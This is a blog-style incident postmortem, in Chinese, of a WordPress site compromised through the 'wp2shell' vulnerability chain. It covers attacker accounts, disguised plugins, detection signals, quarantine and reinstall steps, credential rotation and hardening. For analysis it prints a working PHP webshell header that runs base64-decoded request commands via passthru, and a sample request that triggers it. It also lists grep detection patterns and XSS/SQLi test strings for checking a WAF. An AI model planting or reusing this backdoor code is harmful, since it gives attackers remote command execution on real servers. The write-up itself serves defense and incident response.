WordPress wp2shell 入侵排查与清理全记录(CVE-2026-63030/60137)

写在前面:这是本人博客的一次真实入侵复盘。所有 VPS IP、域名、攻击者 IP、凭据文件名都已脱敏,仅保留通用安全经验。希望对其他站长有价值。

一、事件概要

2026-07-26 上午,登录 Wordfence 后台看到扫描结果:88 个"危急"级别文件被标记"文件似乎是恶意的或不安全的"。

我的第一反应是冷静——88 个文件大概率来自同一波攻击,但到底多大范围、持续多久、攻击者还留了什么后门,需要系统排查。

排查结果是:这次入侵从 7-20 开始,持续 13 天,攻击者是公开 WordPress 核心 0day 漏洞 wp2shell(CVE-2026-63030 / CVE-2026-60137)的利用者。


二、攻击链还原

1. 入口:wp2shell 核心预认证 RCE

WordPress 在 2026 年 7 月公开了一个核心 0day 漏洞链,公开 PoC 工具名为 wp2shell

  • CVE-2026-63030:REST API 批量端点路由混淆
  • CVE-2026-60137:WP_Query 只读 SQL 注入

受影响版本:WordPress 6.9.0~6.9.4 + 7.0.0~7.0.1无需插件、无需账号、匿名预认证可利用,默认安装即可触发)。

攻击者用 wp2shell 工具直接向 /wp-json/wp/v2/batch 发请求,伪造管理员账号。Wordfence 登录日志里留下了铁证:

UA: python-requests/2.32.5
UA: wp2shell-scan
UA: cve-2026-63030/1.0
UA: wp2shell

全部是漏洞利用工具的 User-Agent,没有一个是浏览器 UA。

攻击者创建的账号采用 wp2_ 前缀(这就是 wp2shell 工具命名的特征)——比如 wp2_697648wp2_8fa323bd9bd5wp2_e572b551a4e7 等十几个,全部是 administrator 角色。

⚠️ 关键认知:即使你关闭了用户注册users_can_register=0)也挡不住 wp2shell——它根本不走注册流程,是直接通过 SQL 注入写库创建管理员。

2. 横向:上传伪装插件 + 批量注入后门

拿到 admin 后,攻击者做了两件事:

A. 上传伪装插件/主题(独立 webshell)

  • 15 个 galex_* 伪装插件,每个内含 cox_*.php / cache_*.php / class_*.php / widget_*.php / health_*.php / maint_*.php 多种命名变体的 webshell
  • 7 个 flavor_* 伪装主题,每个内含 cache_*.php 等后门

这些文件命名刻意混淆(galex_xxxxxx 像 WordPress 官方插件 xxxcox_/cache_` 等前缀假装是缓存组件),容易被扫描器忽略。

B. 批量注入合法文件后门(更隐蔽!)

这是这次攻击最危险的部分:攻击者用 WP 后台的插件/主题编辑器给合法文件头部注入一行后门代码

error_reporting(0);@ini_set('display_errors',0);
if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="xxx"){
    $__c=base64_decode($_REQUEST["b"]);
    ob_start();@passthru($__c.' 2>&1');
    $__o=ob_get_clean();echo"[S]".$__o."[E]";
    exit;
}

注入到 apollo13-framework-extensions 插件的 60 个 PHP 文件头部 + 默认主题(twentytwenty*)的 pattern 文件 + rife-free 主题的 functions.php。

每个文件注入多个密码变体(5 个 px 密码),保证至少一个能用。注入后立刻测试:

GET /wp-content/plugins/apollo13-framework-extensions/widgets/widget-menu-walker.php?px=uwvjbuwcchrd&c=id
→ uid=33(www)  ✅ 后门可用

这类后门的隐蔽性极高:它寄生在合法插件里,文件名正常、代码主体正常,只有头部几行是恶意代码。普通杀毒扫描几乎不会报——它不是新增文件,是污染了现有可信文件


三、检测信号(关键经验)

1. Wordfence 登录日志的 UA 是金矿

查 WordPress 数据库的 wp_wflogins 表时,攻击者账号的 User-Agent 字段暴露了攻击工具名:

username      fail  action       UA
wp2_697648    0     loginOK      Mozilla/5.0 (Macintosh...) ← 浏览器 UA
wp2_697648    0     loginOK      python-requests/2.32.5    ← 工具!
wp2_4ffdc12.. 0     loginOK      wp2shell-scan               ← 工具!
wp2_8b74616.. 0     loginOK      cve-2026-63030/1.0         ← 工具!
wp2_6f9e27c.. 0     loginOK      wp2shell                    ← 工具!

python-requests / wp2shell-scan / cve-2026-63030/1.0 出现在登录 UA 里就是铁证——真用户不会用这些 UA 登录。

2. 异常文件 mtime 集中爆发

攻击者注入后门的那几分钟(17:50~17:55),60 个合法插件文件的 mtime 几乎同时变化。这种"批量 mtime" 是后门注入的典型特征。

3. Wordfence 后台的 88 个告警

8-01 18:16 Wordfence 第一次完整扫描:

  • 60 个 apollo13 文件(注入)
  • 7 个 flavor_* 主题文件
  • 15 个 galex_* 插件文件
  • 6 个 twentytwenty* 主题文件

但 Wordfence 在 7-20~7-25 期间没有报警——为什么?Wordfence WAF 从 2020 年安装以来从未真正启用! auto_prepend_file 配置为空,WAF 引导文件没进 PHP 执行链。防火墙形同虚设 5 年多——这是我后来才挖出的更深层问题。


四、排查路径(按优先级)

  1. Wordfence 后台 → Scan(最直接,看恶意文件清单)
  2. Wordfence → Tools → Diagnostics → Wordfence log(看攻击者请求日志)
  3. 直接查数据库 wp_wfloginsSELECT username, FROM_UNIXTIME(ctime), UA FROM wp_wflogins WHERE fail=0 AND UA NOT LIKE '%Mozilla%' AND UA NOT LIKE '%WordPress%'
  4. 文件 mtime 批量审计find /home/www/wp-content -newermt "2 days ago" -type f -printf "%TY-%Tm-%d %TH:%M %p\n" | sort(看短时间内的批量修改)
  5. webshell 特征全文 grepgrep -rlE "eval\(base64_decode|gzinflate|str_rot13|passthru\(.*\$_REQUEST" /home/www/wp-content/plugins/
  6. 可疑命名模式find /home/www -name "cache_[a-f0-9]*.php" -o -name "cox_*.php" -o -name "health_*.php"
  7. binlog 检查 DDL/DML/GRANT(攻击者通过 wp2shell 创建用户 / 提权可能留 SQL 痕迹)

必须查但容易被忽略的:

  • Wordfence WAF 是否真的启用:检查 php.iniauto_prepend_file 是否指向 wordfence-waf.php这是关键陷阱——很多站装了 Wordfence 但 WAF 没真正激活。
  • MySQL root 密码:wp-config.php 里 DB_PASSWORD = MySQL root 密码。攻击者拿到 admin 后能读 wp-config → 能连 MySQL root → 直接拖库 + 跨库操作。我的 MySQL root 密码和 Gitea 数据库共用,攻击者拿到一个就两个都完蛋。
  • SSH 是不是还开着密码认证:SSH 爆破 1600+ 次在打 root,密码登录开着就是定时炸弹。
  • 仓库权限:Gitea 仓库目录默认是 r--r--r--(git 对象世界可读)——攻击者拿到 www shell 就能 tar 整个仓库。

五、清理步骤(实操)

Step 1:隔离(不是删除!)

mkdir -p /root/webshell_quarantine/$(date +%Y%m%d)/
cp -r /home/www/wp-content/plugins/apollo13-framework-extensions /root/webshell_quarantine/.../
cp -r /home/www/wp-content/themes/flavor_* /root/webshell_quarantine/.../
cp -r /home/www/wp-content/plugins/galex_* /root/webshell_quarantine/.../
cp /home/www/wp-content/themes/rife-free/functions.php /root/webshell_quarantine/.../
# 隔离后不要立刻删——留几天确认没遗漏时作为比对参考

Step 2:从官方源重装污染文件

这是最关键的一步——不要手动编辑被注入的文件去删 px 后门!攻击者可能藏了多处,手动删漏一处就复发。

wp plugin install apollo13-framework-extensions --force --allow-root
wp theme install rife-free --force --allow-root
wp theme install twentytwentyfive twentytwentyfour twentytwentythree twentytwentytwo --force --allow-root
rm -rf /home/www/wp-content/plugins/galex_*  # 完全陌生插件直接删
rm -rf /home/www/wp-content/themes/flavor_*   # 完全陌生主题直接删

wp plugin install –force 会用官方最新版覆盖整个插件目录,彻底替换所有被污染文件

Step 3:清掉所有恶意用户

wp user list --allow-root  # 看还有没有 wp2_ 账号
# 在 WP 后台 → 用户 → 批量删除

Step 4:密钥轮换(所有相关凭据都要换!)

攻击者拿到 admin 后很可能已经读过 wp-config.php——意味着 MySQL root 密码泄露。必须:

  • wp-config.php 的 DB_PASSWORD → 改
  • MySQL root 密码 → 改
  • WP admin 密码 → 改
  • SSH 密码 → 改(如果还开着)
  • Application Password → 吊销并重建

更安全的做法:不要所有服务共用 MySQL root,给每个应用建专用账号:

CREATE USER 'wp_user'@'localhost' IDENTIFIED BY '新密码';
GRANT ALL ON your_wp_db.* TO 'wp_user'@'localhost';

这样即使 wp-config 泄露,攻击者也只能动 WP 库,不会影响其他服务。

Step 5:激活 Wordfence WAF

# php.ini 的 [PHP] 段:
auto_prepend_file = /home/www/wordpress/wp-content/plugins/wordfence/waf/bootstrap.php

重启 PHP-FPM。然后手动测一下 WAF 是否生效

curl -sI 'https://yoursite.com/?q=<script>alert(1)</script>'
# 应该返回 403

Step 6:关闭 SSH 密码登录

sed -i 's/^PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sshd -t && systemctl reload ssh

前提:你确认 authorized_keys 里至少有一把可用的 key——否则会被锁在外面)

Step 7:加固 wp-config.php

define('DISALLOW_FILE_EDIT', true);  // 禁用 WP 后台编辑器 = 堵死批量注入路径

添加 mu-plugin 禁用 XML-RPC + 限制 REST API 用户枚举端点:

// /wp-content/mu-plugins/hardening.php
add_filter('xmlrpc_enabled', '__return_false');
add_filter('rest_endpoints', function($endpoints){
    if(isset($endpoints['/wp/v2/users'])) unset($endpoints['/wp/v2/users']);
    if(isset($endpoints['/wp/v2/users/(?P<id>[\d]+)'])) unset($endpoints['/wp/v2/users/(?P<id>[\d]+)']);
    return $endpoints;
});

Step 8:WordPress 后台 → Settings → Permalinks → Save

刷新一次 rewrite rules,防止攻击者改过 .htaccess 留 rewrite 后门。


六、加固建议(按优先级)

优先级 措施 防止什么
P0 升级 WordPress 到 7.0.2+ / 6.9.5+ 修复 wp2shell CVE
P0 激活 Wordfence WAF(auto_prepend 配对) 拦截常见 XSS / SQLi / 已知漏洞 payload
P0 SSH 关密码登录,只允许 key 防 SSH 爆破
P1 DISALLOW_FILE_EDIT 堵死 WP 后台编辑器批量注入路径
P1 wp-config + MySQL root 拆成专用账号 单点泄露不波及其他服务
P1 Wordfence 后台 → 定期看扫描结果 别让"88 个告警"躺几个月
P2 仓库目录权限收紧(如 Gitea) 防止 tar 偷源码
P2 nginx 给 wp-login 加 limit_req 防 wp-login 爆破
P2 启用 Wordfence 邮件告警 被攻击后第一时间知道
P3 长期:考虑 静态化(Hugo/Astro) 无 PHP = 无 PHP 攻击面

七、经验教训

教训 1:WordPress 核心漏洞不可忽视

很多人觉得"WP 装了 Wordfence/Sucuri 就安全"——但 WAF 必须真的激活才能拦。我的 Wordfence 装了 5 年,WAF 引导文件从来没进过 PHP 执行链(auto_prepend 配错)。下次部署任何 WAF,必须主动验证它在拦截

# 测 SQL 注入
curl 'http://yoursite.com/?id=1%27%20OR%20%271%27%3D%271'
# 测 XSS
curl 'http://yoursite.com/?q=<script>alert(1)</script>'
# 测 webshell
curl 'http://yoursite.com/wp-content/shell.php'

教训 2:后门注入合法文件比新建 webshell 更可怕

这次攻击的 60 个后门是注入到合法插件文件头部的——不是新增文件。如果只 grep /home/www/wp-content/plugins 找可疑新文件,会全部漏掉

排查时一定要:

  • 不只看"新增文件"
  • 还要查"近期 mtime 变化的合法文件"
  • sha256sum 对比官方插件目录 hash(如果插件包提供)

教训 3:共用密码 = 全线崩溃

我的 wp-config.php DB_PASSWORD = MySQL root 密码 = Gitea 数据库密码。攻击者拿到 WP admin 就能读 wp-config → 直接拿到 MySQL root → 拖整个数据库 + 跨库操作 + 主从复制攻击。

每个服务用独立 MySQL 账号 + 独立密码,是最低成本、最高收益的纵深防御。

教训 4:WordPress 整体安全模型有结构性弱点

  • 庞大的插件生态(5-6 万个)= 大量第三方代码攻击面
  • PHP runtime = eval() / include() 等危险函数随时可用
  • MySQL + 文件系统 = 攻击者拿到 admin 就能读写底层
  • 后台编辑器 = 给合法文件注入后门的捷径(这次核心手法)

长期建议:考虑迁到静态站点生成器(Hugo / Astro / Eleventy)。写 Markdown → git push → 自动构建 → 静态文件 nginx 托管。没有 PHP runtime、没有数据库、没有后台登录页——攻击面趋近于零。


八、给同样装了 Wordfence 的人的 checklist

  • [ ] Wordfence WAF 激活了吗?测一个 XSS 请求看返回码
  • [ ] php.iniauto_prepend_file 指向 wordfence-waf.php
  • [ ] WordPress 版本 ≥ 7.0.2 或 ≥ 6.9.5?
  • [ ] wp-config.phpDB_PASSWORD 是否唯一(不复用其他服务)?
  • [ ] wp_users 表里有没有 wp2_ / cve- 之类可疑账号?
  • [ ] wp-content 下有没有 cache_[hex]*.php / cox_*.php / health_*.php 等可疑命名?
  • [ ] SSH 关了密码登录?
  • [ ] Wordfence 上次完整扫描是多久前?(默认每天 1 次,看是不是被关了)

参考资料

  • CVE-2026-63030 — REST API batch endpoint route confusion
  • CVE-2026-60137 — WP_Query read-only SQL injection
  • WordPress 7.0.2 / 6.9.5 安全更新公告
  • Wordfence WAF 配置文档
  • Rapid7 / Tenable / Cloudflare 对 wp2shell 的分析报告

本文是个人博客技术复盘,欢迎留言讨论你的清理经验。如果觉得有用,请分享给其他站长。

评论

本博客的评论系统由 GitHub Discussions 提供(通过 giscus)。如果你无法加载下面的评论框,通常是因为无法访问 GitHub(github.com / giscus.app)。